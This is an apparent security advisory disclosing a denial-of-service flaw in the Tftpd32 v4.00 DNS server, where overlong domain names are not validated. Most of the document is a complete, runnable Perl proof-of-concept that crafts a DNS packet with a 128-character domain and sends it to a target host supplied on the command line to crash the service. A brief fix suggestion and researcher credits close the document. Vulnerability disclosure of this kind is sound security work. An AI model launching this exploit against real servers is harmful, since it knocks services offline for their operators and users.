Title: Tftpd32 DNS Server Denial Of Service Vulnerability Software : Tftpd32 Software Version : v4.00 Vendor: http://tftpd32.jounin.net/ Vulnerability Published : 2012-05-26 Vulnerability Update Time : Status : Impact : Medium(CVSS2 Base : 5.0, AV:N/AC:L/Au:N/C:N/I:N/A:P) Bug Description : Tftpd32 is a free tftp and dns server for windows, freeware tftp server. And the dns server would bind udp port 53, but it does not validate the domain option size leading to a Denial Of Service flaw while sending more than 127 characters to it. Solution : The tftpd32's dns server can drop the evil request when it was detected the domain option size were longer than 127 characters. Proof Of Concept : ----------------------------------------------------------- #!/usr/bin/perl use IO::Socket; use Socket; use Math::BigInt; $|=1; $host=shift; $port=shift || '53'; die "usage: $0 \$host [\$port]\n" if(!defined($host)); $target_ip = inet_aton($host); $target = sockaddr_in($port, $target_ip); $crash='A'x128; $transaction_id_count=1; sub dns_struct_pack($){ $domain=shift; #domain $type="\x00\xff"; #dns_type = ANY $transaction_id_count=1 if($transaction_id_count > 255); $x=Math::BigInt->new($transaction_id_count); $x=~s/0x//; $transaction_id=sprintf("\x00".chr($x)); $flag="\x01\x00"; $question="\x00\x01"; $answer_rrs="\x00\x00"; $authority_rrs="\x00\x00"; $additional_rrs="\x00\x00"; if($domain ne '0'){ undef($domain_length); $domain_length=length($domain); $y=Math::BigInt->new($domain_length); $y=~s/0x//; $domain_length=chr($y); } $class="\x00\x01"; #IN $transaction_id_count++; if($domain eq '0'){ $packet_struct="$transaction_id"."$flag"."$question"."$answer_rrs"."$authority_rrs"."$additional_rrs"."\x00"."$type"."$class"; }else{ $packet_struct="$transaction_id"."$flag"."$question"."$answer_rrs"."$authority_rrs"."$additional_rrs"."$domain_length"."$domain". "\x00"."$type"."$class"; } return $packet_struct; } print "Launch attack ... "; socket(SOCK1, AF_INET, SOCK_DGRAM, 17); send(SOCK1, &dns_struct_pack($crash), 0, $target); close(SOCK1); print "Finish!\n"; exit(0); ----------------------------------------------------------- Credits : This vulnerability was discovered by demonalex(at)163(dot)com mail: demonalex(at)163(dot)com / ChaoYi.Huang@connect.polyu.hk Pentester/Researcher Dark2S Security Team/PolyU.HK